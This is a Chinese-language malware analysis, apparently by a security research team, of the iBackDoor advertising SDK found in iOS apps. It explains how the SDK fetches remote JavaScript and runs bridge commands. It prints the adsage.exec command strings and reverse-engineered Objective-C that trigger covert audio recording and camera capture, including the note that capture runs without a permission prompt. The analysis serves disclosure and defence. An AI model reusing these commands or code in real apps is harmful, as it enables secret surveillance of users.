前言:
艾德思奇(adSage)成立于2007年,数字营销公司,致力于为客户提供数字媒体营销领域的服务。
FireEye 爆iBackDoor高危后门iOS APP,涉及5.3.3 to 6.4.4 版本,之后 7.0.5版本清除了后门功能。
iBackDoor 被爆有后门,可以上传录音,截屏,增删改查app数据,利用URL scheme打开其他app,安装企应用等功能,本文通过对iBackDoor样本的分析,具体分析它的功能以及还原测试iBackDoor 录音和截屏的功能。
360NirvanTeam(涅槃团队)具体分析了iBackDoor的录音和截屏功能,并还原实现测试。
0x01 样本抓取
因为最新版本SDK已经修复了这个功能,涅槃团队的xc_panda在网络上搜索没有找到样本SDK,但通过对特征码的追寻找到了样本,然后开始分析。
0x02 主要实现流程分析
iBackDoor首先发送设备自身的JS包信息到 http://entry.adsage.com/d/ 网址(网址是加密存放的),检查是否已经是最新,如果不是返回最新打包JS代码的url,版本等
信息。
如图可见目前的JS包还存在,没有被撤掉。
然后GET方式获取最新版本的JS打包zip文件,解压缩,放在App Cache目录下。
zip 的目录结构如下:
APP 首先会访问 index.html,然后 index.html会加载sdkjs.js,sdkjs.js包含了JS代码,App 在函数中通过js代码传递的参数来进行函数调用。也相对的增加了安全工作者分析的难度。
index.html代码如下:
然后它会调用 js代码
在html文件中的loadResilt函数被发送到APP后,APP会执行相应的函数。它动态的获取函数地址,然后执行。如 发送 loadResult 就执行 loadResult: 和 loadResult:withDict: 函数。看 MSageCoreJSManagerPlugin 是否有这两个函数。如果有就执行。能够使用的函数如下所示,通过函数名称能猜测相应的功能。:
-[MSageCoreJSManagerPlugin versionUpdate:] __text 000B8490 000001D8 R . . . B T .
-[MSageCoreJSManagerPlugin loadResult:] __text 000B8668 000001CE R . . . B T .
-[MSageCoreJSManagerPlugin inBlackList:] __text 000B7DE4 0000030C R . . . B T .
-[MSageCoreJSManagerPlugin heartbeat:] __text 000B8838 00000002 R . . . . T .
-[MSageCoreJSManagerPlugin getVersionList:] __text 000B80F0 000000E8 R . . . B T .
-[MSageCoreJSManagerPlugin getVersionInfo:] __text 000B81D8 000002B6 R . . . B T .
调试JS代码发现,代码最后在下面这段代码循环,不停的遍历命令队列,发送命令给APP,让APP执行,分析APP发现 当发送 adsagejs://ready时,APP 并没有执行什么特殊功能。
分析APP跟踪参数如下:
可以看到可以通过控制发送不是adsagejs://开头来控制执行一些功能,如安装企业应用,打电话,发邮件短信等。
如果是 adsagejs:// 开头的会执行如下函数:
APP执行JS代码获得JS代码中传递的命令。然后将命令添加到队列如下:
然后依次解析命令,执行命令,判断结果,如下图:
分析APP 发现,当JS代码中出现
adsage.exec(className, methodName, argsList, onSuccess, onFailure);
语句,App就会相应的执行某些函数。比如可以发送录音,截图,播放音乐等操作。
当在传递类名时,会作一个转换,将对应类名key 换成 对应类名value。
Key: MSageCoreCompass for value: MSageCoreCompass
Key: MSageCoreJSManager for value: MSageCoreJSManagerPlugin
Key: MobiSageConfig for value: MobiSageConfigPlugin
Key: MSageCoreSystemDB for value: MSageCoreSystemDB
Key: MSageCoreMotion for value: MSageCoreMotion
Key: MSageCoreCleanCache for value: MSageCoreCleanCache
Key: MSageCoreDevice for value: MSageCoreDevice
Key: MSageCoreKeyChain for value: MSageCoreKeyChain
Key: MSageCoreKVDB for value: MSageCoreKVDB
Key: MSageCoreLocation for value: MSageCoreLocation
Key: MSageCoreNetwork for value: MSageCorePluginNetWork
Key: MSageCoreUIManager for value: MSageCoreUIManagerPlugin
Key: Logger for value: MSageCoreLogger
Key: MobiSageJSAdPlugin for value: MobiSageJSAdPlugin
Key: MSageCoreTool for value: MSageCoreEncryptPlugin
Key: MSageCoreFile for value: MSageCorePluginFileModule
然后每个类名对应很多的函数,如下所示例:
如录音和截图操作,需要执行JS命令:
录音:
adsage.exec("MSageCoreUIManager", "captureAudio", [“xcq_panda", 10, 40], 0, 0);
截图:
adsage.exec("MSageCoreUIManager", "captureImageRequest", {"frame":{"top":0,"left":0,"width":400,"height":400},"position":1,"webViewId":"adsage"}, 0, 0);//开始摄像
adsage.exec("MSageCoreUIManager", "captureImage", ["duoyu?",1,"captureImage.png"], 0, 0);//截图
adsage.exec("MSageCoreUIManager", "captureImage", ["duoyu?",2,"captureImage.png"], 0, 0);//停止截图
JS代码中出现这些代码,那么就是传递命令给APP,然后执行相应操作。
0x03 JS代码执行分析
JS 最后会循环在如下图所示地方:
如果想执行JS代码,那么我们可以在JS代码中添加代码执行功能。
如我们需要截图,就修改JS代码如下:
0x04 录音和截图功能具体分析
录音分析:
当JS代码中执行 adsage.exec(“MSageCoreUIManager”, “captureAudio”, [“xcq_panda”, 10, 40], 0, 0); 命令,APP会执行如下图代码:
接着执行函数char __cdecl -[MSageCoreCaptureManager startAudioCapture:withPlugeIn:](struct MSageCoreCaptureManager *self, SEL a2, id a3, id a4)
逆向代码如下:
AVAudioSession * avSession = [[AVAudioSession sharedInstance] isInputAvailable];
[avSession setCategory:AVAudioSessionCategoryRecord error:];
[avSession setActive:1 error:nil];
//这是录音前的准备,要实现录音,还需要AVAudioRecorder对象
NSString *tmp = [NSTemporaryDirectory() stringByStandardizingPath];
AVAudioRecorder *AvRecorder =
[AVAudioRecorder alloc] initWithURL:[NSURL fileURLWithPath:[NSString stringWithFormat:@"%@/audio_%03d.wav",tmp,i] isDirectory:1]
settings:0 error:nil];
[AvRecorder setDelegate:self];
[AvRecorder setMeteringEnabled:1];
[AvRecorder prepareToRecord];
[AvRecorder record];
[AvRecorder recordForDuration:param];
代码解释:控制JS代码控制录音时间,APP 录音需要用户赋予权限,第一次运行会请求访问摄像机的权限。
截图分析:
截图操作有点复杂了,需要三条JS命令来进行截图。
adsage.exec("MSageCoreUIManager", "captureImageRequest", {"frame":{"top":0,"left":0,"width":400,"height":400},"position":1,"webViewId":"adsage"}, 0, 0);//开始摄像
APP收到JS代码后执行命令如下:
接着执行
逆向代码如下:
AVCaptureSession *session = [[AVCaptureSession alloc] init];
[session setSessionPreset:AVCaptureSessionPresetPhoto];
NSArray *devices = [AVCaptureDevice devicesWithMediaType:AVMediaTypeVideo];
或者AVCaptureDevice *device = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
AVCaptureDeviceInput *input = [AVCaptureDeviceInput deviceInputWithDevice:device error:&error];
[session addInput:input];
NSDictionary *dict = [[NSDictionary alloc] initWithObjectsAndKeys:@[AVVideoCodecJPEG, AVVideoCodecKey, 0]];
AVCaptureStillImageOutput * out = [[[AVCaptureStillImageOutput alloc] init] setOutputSettings:dic];
[session addOutput:out];
[session startRunning];
AVCaptureVideoPreviewLayer *layer =
[[AVCaptureVideoPreviewLayer layerWithSession:session] setVideoGravity:AVLayerVideoGravityResizeAspect];
[[UIView alloc] layer addSublayer:layer];
NSInteger num = [[UIApplication sharedApplication] statusBarOrientation];//The current orientation of the app's status bar.
[CATransaction begin];
[[layer connection] setVideoOrientation:num+1];
代码解释:设置开始录像。
然后JS代码后面还要紧跟着另外两条JS语句:
adsage.exec("MSageCoreUIManager", "captureImage", ["xcq_panda",1,"captureImage.png"], 0, 0);//截图
adsage.exec("MSageCoreUIManager", "captureImage", [“xcq_panda",2,"captureImage.png"], 0, 0);//停止截图
执行代码如下图:
代码解释:当传递参数不同,执行函数也不同,如上图,解析 数组第二个元素是2 那么结束,如果是1就截图。
截图操作并不需要弹框提示需要权限。
0x05 录像演示录音和截图功能:
0x06 总结
1)此SDK明显不是简单的进行广告推广,具有明显的恶意行为,截图,录音等。
2)用JS 代码配合Object C 语言来进行交互也算是一种比较”新颖“的方式,如果再加入混合加密的方式,会更增加逆向的难度。
3)受影响app列表单独给出。
0x07 参考文献
https://www.fireeye.com/blog/threat-research/2015/11/ibackdoor_high-risk.html

评论